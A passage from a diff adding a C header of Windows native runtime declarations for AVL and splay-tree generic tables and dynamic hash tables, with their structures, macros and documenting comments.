elements of of a table. The return value is a pointer to the user +// defined structure associated with the element. The input parameter +// Restart indicates if the enumeration should start from the beginning +// or should return the next element. If the are no more new elements to +// return the return value is NULL. As an example of its use, to enumerate +// all of the elements in a table the user would write: +// +// for (ptr = EnumerateGenericTable(Table, TRUE); +// ptr != NULL; +// ptr = EnumerateGenericTable(Table, FALSE)) { +// : +// } +// +// NOTE: This routine does not modify the structure of the tree, but saves +// the last node returned in the generic table itself, and for this +// reason requires exclusive access to the table for the duration of +// the enumeration. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ BOOLEAN Restart +); + +// +// The function EnumerateGenericTableWithoutSplaying will return to the +// caller one-by-one the elements of of a table. The return value is a +// pointer to the user defined structure associated with the element. +// The input parameter RestartKey indicates if the enumeration should +// start from the beginning or should return the next element. If the +// are no more new elements to return the return value is NULL. As an +// example of its use, to enumerate all of the elements in a table the +// user would write: +// +// RestartKey = NULL; +// for (ptr = EnumerateGenericTableWithoutSplaying(Table, &RestartKey); +// ptr != NULL; +// ptr = EnumerateGenericTableWithoutSplaying(Table, &RestartKey)) { +// : +// } +// +// If RestartKey is NULL, the package will start from the least entry in the +// table, otherwise it will start from the last entry returned. +// +// NOTE: This routine does not modify either the structure of the tree +// or the generic table itself, but must insure that no deletes +// occur for the duration of the enumeration, typically by having +// at least shared access to the table for the duration. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl( + _In_ PRTL_AVL_TABLE Table, + _Inout_ PVOID* RestartKey +); + +// +// RtlLookupFirstMatchingElementGenericTableAvl will return the left-most +// element in the tree matching the data in Buffer. If, for example, the tree +// contains filenames there may exist several that differ only in case. A case- +// blind searcher can use this routine to position himself in the tree at the +// first match, and use an enumeration routine (such as RtlEnumerateGenericTableWithoutSplayingAvl +// to return each subsequent match. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlLookupFirstMatchingElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID* RestartKey +); + +// +// The function EnumerateGenericTableLikeADirectory will return to the +// caller one-by-one the elements of of a table. The return value is a +// pointer to the user defined structure associated with the element. +// The input parameter RestartKey indicates if the enumeration should +// start from the beginning or should return the next element. If the +// are no more new elements to return the return value is NULL. As an +// example of its use, to enumerate all of the elements in a table the +// user would write: +// +// RestartKey = NULL; +// for (ptr = EnumerateGenericTableLikeADirectory(Table, &RestartKey, ...); +// ptr != NULL; +// ptr = EnumerateGenericTableLikeADirectory(Table, &RestartKey, ...)) { +// : +// } +// +// If RestartKey is NULL, the package will start from the least entry in the +// table, otherwise it will start from the last entry returned. +// +// NOTE: This routine does not modify either the structure of the tree +// or the generic table itself. The table must only be acquired +// shared for the duration of this call, and all synchronization +// may optionally be dropped between calls. Enumeration is always +// correctly resumed in the most efficient manner possible via the +// IN OUT parameters provided. +// +// ****** Explain NextFlag. Directory enumeration resumes from a key +// requires more thought. Also need the match pattern and IgnoreCase. +// Should some structure be introduced to carry it all? +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory( + _In_ PRTL_AVL_TABLE Table, + _In_opt_ PRTL_AVL_MATCH_FUNCTION MatchFunction, + _In_opt_ PVOID MatchData, + _In_ ULONG NextFlag, + _Inout_ PVOID* RestartKey, + _Inout_ PULONG DeleteCount, + _In_ PVOID Buffer +); + +// +// The function GetElementGenericTable will return the i'th element +// inserted in the generic table. I = 0 implies the first element, +// I = (RtlNumberGenericTableElements(Table)-1) will return the last element +// inserted into the generic table. The type of I is ULONG. Values +// of I > than (NumberGenericTableElements(Table)-1) will return NULL. If +// an arbitrary element is deleted from the generic table it will cause +// all elements inserted after the deleted element to "move up". + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlGetElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ ULONG I +); + +// +// The function NumberGenericTableElements returns a ULONG value +// which is the number of generic table elements currently inserted +// in the generic table. + +NTSYSAPI +ULONG +NTAPI +RtlNumberGenericTableElementsAvl( + _In_ PRTL_AVL_TABLE Table +); + +// +// The function IsGenericTableEmpty will return to the caller TRUE if +// the input table is empty (i.e., does not contain any elements) and +// FALSE otherwise. +// + +// +// Generic extensions for using generic structures with the avl libraries. +// +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl( + _In_ PRTL_AVL_TABLE Table +); + +#endif // !_KERNEL_MODE + +// +// SPlay linked +// + +#ifndef _KERNEL_MODE + +// +// Define the splay links and the associated manipuliation macros and +// routines. Note that the splay_links should be an opaque type. +// Routine are provided to traverse and manipulate the structure. +// + +typedef struct _RTL_SPLAY_LINKS { + struct _RTL_SPLAY_LINKS* Parent; + struct _RTL_SPLAY_LINKS* LeftChild; + struct _RTL_SPLAY_LINKS* RightChild; +} RTL_SPLAY_LINKS; +typedef RTL_SPLAY_LINKS* PRTL_SPLAY_LINKS; + +#if !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +FORCEINLINE +VOID +RtlInitializeSplayLinks( + _Out_ PRTL_SPLAY_LINKS Links +) +//++ +// +// The procedure InitializeSplayLinks takes as input a pointer to +// splay link and initializes its substructure. All splay link nodes must +// be initialized before they are used in the different splay routines and +// macros. +// +//-- +{ + Links->Parent = Links; + Links->LeftChild = NULL; + Links->RightChild = NULL; +} + +#endif // !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +// +// The macro function Parent takes as input a pointer to a splay link in a +// tree and returns a pointer to the splay link of the parent of the input +// node. If the input node is the root of the tree the return value is +// equal to the input value. +// +// PRTL_SPLAY_LINKS +// RtlParent ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlParent(Links) ( \ + (PRTL_SPLAY_LINKS)(Links)->Parent \ + ) + +// +// The macro function LeftChild takes as input a pointer to a splay link in +// a tree and returns a pointer to the splay link of the left child of the +// input node. If the left child does not exist, the return value is NULL. +// +// PRTL_SPLAY_LINKS +// RtlLeftChild ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlLeftChild(Links) ( \ + (PRTL_SPLAY_LINKS)(Links)->LeftChild \ + ) + +// +// The macro function RightChild takes as input a pointer to a splay link +// in a tree and returns a pointer to the splay link of the right child of +// the input node. If the right child does not exist, the return value is +// NULL. +// +// PRTL_SPLAY_LINKS +// RtlRightChild ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlRightChild(Links) ( \ + (PRTL_SPLAY_LINKS)(Links)->RightChild \ + ) + +// +// The macro function IsRoot takes as input a pointer to a splay link +// in a tree and returns TRUE if the input node is the root of the tree, +// otherwise it returns FALSE. +// +// BOOLEAN +// RtlIsRoot ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlIsRoot(Links) ( \ + (RtlParent(Links) == (PRTL_SPLAY_LINKS)(Links)) \ + ) + +// +// The macro function IsLeftChild takes as input a pointer to a splay link +// in a tree and returns TRUE if the input node is the left child of its +// parent, otherwise it returns FALSE. +// +// BOOLEAN +// RtlIsLeftChild ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlIsLeftChild(Links) ( \ + (RtlLeftChild(RtlParent(Links)) == (PRTL_SPLAY_LINKS)(Links)) \ + ) + +// +// The macro function IsRightChild takes as input a pointer to a splay link +// in a tree and returns TRUE if the input node is the right child of its +// parent, otherwise it returns FALSE. +// +// BOOLEAN +// RtlIsRightChild ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlIsRightChild(Links) ( \ + (RtlRightChild(RtlParent(Links)) == (PRTL_SPLAY_LINKS)(Links)) \ + ) + + +#if !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +FORCEINLINE +VOID +RtlInsertAsLeftChild( + _Inout_ PRTL_SPLAY_LINKS ParentLinks, + _Inout_ PRTL_SPLAY_LINKS ChildLinks +) +//++ +// +// The procedure InsertAsLeftChild takes as input a pointer to a splay +// link in a tree and a pointer to a node not in a tree. It inserts the +// second node as the left child of the first node. The first node must not +// already have a left child, and the second node must not already have a +// parent. +// +//-- +{ + ParentLinks->LeftChild = ChildLinks; + ChildLinks->Parent = ParentLinks; +} + +FORCEINLINE +VOID +RtlInsertAsRightChild( + _Inout_ PRTL_SPLAY_LINKS ParentLinks, + _Inout_ PRTL_SPLAY_LINKS ChildLinks +) +//++ +// +// The procedure InsertAsRightChild takes as input a pointer to a splay +// link in a tree and a pointer to a node not in a tree. It inserts the +// second node as the right child of the first node. The first node must not +// already have a right child, and the second node must not already have a +// parent. +// +//-- +{ + ParentLinks->RightChild = ChildLinks; + ChildLinks->Parent = ParentLinks; +} + +#endif // !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +// +// The Splay function takes as input a pointer to a splay link in a tree +// and splays the tree. Its function return value is a pointer to the +// root of the splayed tree. +// + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSplay( + _Inout_ PRTL_SPLAY_LINKS Links +); + +// +// The Delete function takes as input a pointer to a splay link in a tree +// and deletes that node from the tree. Its function return value is a +// pointer to the root of the tree. If the tree is now empty, the return +// value is NULL. +// + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlDelete( + _In_ PRTL_SPLAY_LINKS Links +); + +// +// The DeleteNoSplay function takes as input a pointer to a splay link in a tree, +// the caller's pointer to the root of the tree and deletes that node from the +// tree. Upon return the caller's pointer to the root node will correctly point +// at the root of the tree. +// +// It operationally differs from RtlDelete only in that it will not splay the tree. +// + +NTSYSAPI +VOID +NTAPI +RtlDeleteNoSplay( + _In_ PRTL_SPLAY_LINKS Links, + _Inout_ PRTL_SPLAY_LINKS* Root +); + +// +// The SubtreeSuccessor function takes as input a pointer to a splay link +// in a tree and returns a pointer to the successor of the input node of +// the substree rooted at the input node. If there is not a successor, the +// return value is NULL. +// + +_Must_inspect_result_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor( + _In_ PRTL_SPLAY_LINKS Links +); + +// +// The SubtreePredecessor function takes as input a pointer to a splay link +// in a tree and returns a pointer to the predecessor of the input node of +// the substree rooted at the input node. If there is not a predecessor, +// the return value is NULL. +// + +_Must_inspect_result_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor( + _In_ PRTL_SPLAY_LINKS Links +); + +// +// The RealSuccessor function takes as input a pointer to a splay link +// in a tree and returns a pointer to the successor of the input node within +// the entire tree. If there is not a successor, the return value is NULL. +// + +_Must_inspect_result_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor( + _In_ PRTL_SPLAY_LINKS Links +); + +// +// The RealPredecessor function takes as input a pointer to a splay link +// in a tree and returns a pointer to the predecessor of the input node +// within the entire tree. If there is not a predecessor, the return value +// is NULL. +// + +_Must_inspect_result_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor( + _In_ PRTL_SPLAY_LINKS Links +); + +#endif // !_KERNEL_MODE + +// +// Generic table +// + +#ifndef _KERNEL_MODE + +// +// Define the generic table package. Note a generic table should really +// be an opaque type. We provide routines to manipulate the structure. +// +// A generic table is package for inserting, deleting, and looking up elements +// in a table (e.g., in a symbol table). To use this package the user +// defines the structure of the elements stored in the table, provides a +// comparison function, a memory allocation function, and a memory +// deallocation function. +// +// Note: the user compare function must impose a complete ordering among +// all of the elements, and the table does not allow for duplicate entries. +// + +// +// Do not do the following defines if using Avl +// + +#ifndef RTL_USE_AVL_TABLES + +// +// Add an empty typedef so that functions can reference the +// a pointer to the generic table struct before it is declared. +// + +struct _RTL_GENERIC_TABLE; + +// +// The comparison function takes as input pointers to elements containing +// user defined structures and returns the results of comparing the two +// elements. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_GENERIC_COMPARE_ROUTINE) +RTL_GENERIC_COMPARE_RESULTS +NTAPI +RTL_GENERIC_COMPARE_ROUTINE( + _In_ struct _RTL_GENERIC_TABLE* Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct +); +typedef RTL_GENERIC_COMPARE_ROUTINE* PRTL_GENERIC_COMPARE_ROUTINE; + +// +// The allocation function is called by the generic table package whenever +// it needs to allocate memory for the table. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_GENERIC_ALLOCATE_ROUTINE) +__drv_allocatesMem(Mem) +PVOID +NTAPI +RTL_GENERIC_ALLOCATE_ROUTINE( + _In_ struct _RTL_GENERIC_TABLE* Table, + _In_ ULONG ByteSize +); +typedef RTL_GENERIC_ALLOCATE_ROUTINE* PRTL_GENERIC_ALLOCATE_ROUTINE; + +// +// The deallocation function is called by the generic table package whenever +// it needs to deallocate memory from the table that was allocated by calling +// the user supplied allocation function. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_GENERIC_FREE_ROUTINE) +VOID +NTAPI +RTL_GENERIC_FREE_ROUTINE( + _In_ struct _RTL_GENERIC_TABLE* Table, + _In_ __drv_freesMem(Mem) _Post_invalid_ PVOID Buffer +); +typedef RTL_GENERIC_FREE_ROUTINE* PRTL_GENERIC_FREE_ROUTINE; + +// +// To use the generic table package the user declares a variable of type +// GENERIC_TABLE and then uses the routines described below to initialize +// the table and to manipulate the table. Note that the generic table +// should really be an opaque type. +// + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE; +typedef RTL_GENERIC_TABLE* PRTL_GENERIC_TABLE; + +// +// The procedure InitializeGenericTable takes as input an uninitialized +// generic table variable and pointers to the three user supplied routines. +// This must be called for every individual generic table variable before +// it can be used. +// + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTable( + _Out_ PRTL_GENERIC_TABLE Table, + _In_ PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext +); + +// +// The function InsertElementGenericTable will insert a new element +// in a table. It does this by allocating space for the new element +// (this includes splay links), inserting the element in the table, and +// then returning to the user a pointer to the new element. If an element +// with the same key already exists in the table the return value is a pointer +// to the old element. The optional output parameter NewElement is used +// to indicate if the element previously existed in the table. Note: the user +// supplied Buffer is only used for searching the table, upon insertion its +// contents are copied to the newly created element. This means that +// pointer to the input buffer will not point to the new element. +// + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PBOOLEAN NewElement +); + +// +// The function InsertElementGenericTableFull will insert a new element +// in a table. It does this by allocating space for the new element +// (this includes splay links), inserting the element in the table, and +// then returning to the user a pointer to the new element. If an element +// with the same key already exists in the table the return value is a pointer +// to the old element. The optional output parameter NewElement is used +// to indicate if the element previously existed in the table. Note: the user +// supplied Buffer is only used for searching the table, upon insertion its +// contents are copied to the newly created element. This means that +// pointer to the input buffer will not point to the new element. +// This routine is passed the NodeOrParent and SearchResult from a +// previous RtlLookupElementGenericTableFull. +// + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableFull( + _In_ PRTL_GENERIC_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult +); + +// +// The function DeleteElementGenericTable will find and delete an element +// from a generic table. If the element is located and deleted the return +// value is TRUE, otherwise if the element is not located the return value +// is FALSE. The user supplied input buffer is only used as a key in +// locating the element in the table. +// + +NTSYSAPI +BOOLEAN +NTAPI +RtlDeleteElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer +); + +// +// The function LookupElementGenericTable will find an element in a generic +// table. If the element is located the return value is a pointer to +// the user defined structure associated with the element, otherwise if +// the element is not located the return value is NULL. The user supplied +// input buffer is only used as a key in locating the element in the table. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer +); + +// +// The function LookupElementGenericTableFull will find an element in a generic +// table. If the element is located the return value is a pointer to +// the user defined structure associated with the element. If the element is not +// located then a pointer to the parent for the insert location is returned. The +// user must look at the SearchResult value to determine which is being returned. +// The user can use the SearchResult and parent for a subsequent FullInsertElement +// call to optimize the insert. +// + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableFull( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID* NodeOrParent, + _Out_ TABLE_SEARCH_RESULT* SearchResult +); + +// +// The function EnumerateGenericTable will return to the caller one-by-one +// the elements of of a table. The return value is a pointer to the user +// defined structure associated with the element. The input parameter +// Restart indicates if the enumeration should start from the beginning +// or should return the next element. If the are no more new elements to +// return the return value is NULL. As an example of its use, to enumerate +// all of the elements in a table the user would write: +// +// for (ptr = EnumerateGenericTable(Table, TRUE); +// ptr != NULL; +// ptr = EnumerateGenericTable(Table, FALSE)) { +// : +// } +// +// +// PLEASE NOTE: +// +// If you enumerate a GenericTable using RtlEnumerateGenericTable, you +// will flatten the table, turning it into a sorted linked list. +// To enumerate the table without perturbing the splay links, use +// RtlEnumerateGenericTableWithoutSplaying + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ BOOLEAN Restart +); + +// +// The function EnumerateGenericTableWithoutSplaying will return to the +// caller one-by-one the elements of of a table. The return value is a +// pointer to the user defined structure associated with the element. +// The input parameter RestartKey indicates if the enumeration should +// start from the beginning or should return the next element. If the +// are no more new elements to return the return value is NULL. As an +// example of its use, to enumerate all of the elements in a table the +// user would write: +// +// RestartKey = NULL; +// for (ptr = EnumerateGenericTableWithoutSplaying(Table, &RestartKey); +// ptr != NULL; +// ptr = EnumerateGenericTableWithoutSplaying(Table, &RestartKey)) { +// : +// } +// +// If RestartKey is NULL, the package will start from the least entry in the +// table, otherwise it will start from the last entry returned. +// +// +// Note that unlike RtlEnumerateGenericTable, this routine will NOT perturb +// the splay order of the tree. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying( + _In_ PRTL_GENERIC_TABLE Table, + _Inout_ PVOID* RestartKey +); + +// +// The function GetElementGenericTable will return the i'th element +// inserted in the generic table. I = 0 implies the first element, +// I = (RtlNumberGenericTableElements(Table)-1) will return the last element +// inserted into the generic table. The type of I is ULONG. Values +// of I > than (NumberGenericTableElements(Table)-1) will return NULL. If +// an arbitrary element is deleted from the generic table it will cause +// all elements inserted after the deleted element to "move up". + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlGetElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ ULONG I +); + +// +// The function NumberGenericTableElements returns a ULONG value +// which is the number of generic table elements currently inserted +// in the generic table. + +NTSYSAPI +ULONG +NTAPI +RtlNumberGenericTableElements( + _In_ PRTL_GENERIC_TABLE Table +); + +// +// The function IsGenericTableEmpty will return to the caller TRUE if +// the input table is empty (i.e., does not contain any elements) and +// FALSE otherwise. +// + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty( + _In_ PRTL_GENERIC_TABLE Table +); + +#endif // RTL_USE_AVL_TABLES + +#endif // !_KERNEL_MODE + +// +// Hash Table +// + +#ifndef _KERNEL_MODE + +// +// The hash table header structure can either be allocated +// by the caller, or by the hash table creation function itself. +// This flag indicates what was done at creation time. +// +#define RTL_HASH_ALLOCATED_HEADER 0x00000001 + +// +// The RTL_HASH_RESERVED_SIGNATURE is the signature used internally for +// enumerators. A caller can never assign this signature to +// valid entries. +// +#define RTL_HASH_RESERVED_SIGNATURE 0 + + +typedef struct _RTL_DYNAMIC_HASH_TABLE_ENTRY { + LIST_ENTRY Linkage; + ULONG_PTR Signature; +} RTL_DYNAMIC_HASH_TABLE_ENTRY, * PRTL_DYNAMIC_HASH_TABLE_ENTRY; + +// +// Some components want to see the actual signature and can use +// this macro to encapsulate that operation. +// +#define HASH_ENTRY_KEY(x) ((x)->Signature) + +// +// Brief background on each of the parameters and their +// justification: +// 1. ChainHead stores the pointer to a bucket. This is needed since +// our hash chains are doubly-linked circular lists, and there is +// is no way to determine whether we've reached the end of the +// chain unless we store the pointer to the bucket itself. This +// is particularly used in walking the sub-list of entries returned +// by a lookup. We need to know when the sub-list has been +// completely returned. +// 2. PrevLinkage stores a pointer to the entry before the entry +// under consideration. The reason for storing the previous entry +// instead of the entry itself is for cases where a lookup fails +// and PrevLinkage actually stores the entry that would have been +// the previous entry, had the looked up entry existed. This can +// then be used to actually insert the entry at that place. +// 3. Signature is used primarily as a safety check in insertion. +// This field must match the Signature of the entry being inserted. +// + +typedef struct _RTL_DYNAMIC_HASH_TABLE_CONTEXT { + PLIST_ENTRY ChainHead; + PLIST_ENTRY PrevLinkage; + ULONG_PTR Signature; +} RTL_DYNAMIC_HASH_TABLE_CONTEXT, * PRTL_DYNAMIC_HASH_TABLE_CONTEXT; + +typedef struct _RTL_DYNAMIC_HASH_TABLE_ENUMERATOR { + union { + RTL_DYNAMIC_HASH_TABLE_ENTRY HashEntry; + PLIST_ENTRY CurEntry; + }; + PLIST_ENTRY ChainHead; + ULONG BucketIndex; +} RTL_DYNAMIC_HASH_TABLE_ENUMERATOR, * PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR; + +typedef struct _RTL_DYNAMIC_HASH_TABLE { + + // Entries initialized at creation + ULONG Flags; + ULONG Shift; + + // Entries used in bucket computation. + ULONG TableSize; + ULONG Pivot; + ULONG DivisorMask; + + // Counters + ULONG NumEntries; + ULONG NonEmptyBuckets; + ULONG NumEnumerators; + + // The directory. This field is for internal use only. + PVOID Directory; + +} RTL_DYNAMIC_HASH_TABLE, * PRTL_DYNAMIC_HASH_TABLE; + +// +// Inline functions first. +// +#if !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +VOID +RtlInitHashTableContext( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +) +{ + Context->ChainHead = NULL; + Context->PrevLinkage = NULL; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +VOID +RtlInitHashTableContextFromEnumerator( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context, + _In_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +) +{ + Context->ChainHead = Enumerator->ChainHead; + Context->PrevLinkage = Enumerator->HashEntry.Linkage.Blink; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +void +RtlReleaseHashTableContext( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +) +{ + UNREFERENCED_PARAMETER(Context); + return; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlTotalBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->TableSize; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlNonEmptyBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->NonEmptyBuckets; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlEmptyBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->TableSize - HashTable->NonEmptyBuckets; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlTotalEntriesHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->NumEntries; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlActiveEnumeratorsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->NumEnumerators; +} +#endif + +#endif // !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +// +// Almost all the hash functions take in a Context. +// If a valid context is passed in, it will be used +// in executing the operation if possible. If a +// blank context is passed in, it will be initialized +// appropriately. +// + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +_Success_(return != 0) +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateHashTable( + _Inout_ _When_(NULL == *HashTable, _At_(*HashTable, __drv_allocatesMem(Mem))) + PRTL_DYNAMIC_HASH_TABLE * HashTable, + _In_ ULONG Shift, + _Reserved_ ULONG Flags +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_Must_inspect_result_ +_Success_(return != 0) +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateHashTableEx( + _Inout_ _When_(NULL == *HashTable, _At_(*HashTable, __drv_allocatesMem(Mem))) + PRTL_DYNAMIC_HASH_TABLE * HashTable, + _In_ ULONG InitialSize, + _In_ ULONG Shift, + _Reserved_ ULONG Flags +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +VOID +NTAPI +RtlDeleteHashTable( + _In_ _When_((HashTable->Flags & RTL_HASH_ALLOCATED_HEADER), __drv_freesMem(Mem) _Post_invalid_) + PRTL_DYNAMIC_HASH_TABLE HashTable +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlInsertEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ __drv_aliasesMem PRTL_DYNAMIC_HASH_TABLE_ENTRY Entry, + _In_ ULONG_PTR Signature, + _Inout_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlRemoveEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ PRTL_DYNAMIC_HASH_TABLE_ENTRY Entry, + _Inout_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlLookupEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ ULONG_PTR Signature, + _Out_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlGetNextEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlInitEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +VOID +NTAPI +RtlEndEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlInitWeakEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlWeaklyEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +VOID +NTAPI +RtlEndWeakEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +NTSYSAPI +BOOLEAN +NTAPI +RtlInitStrongEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) 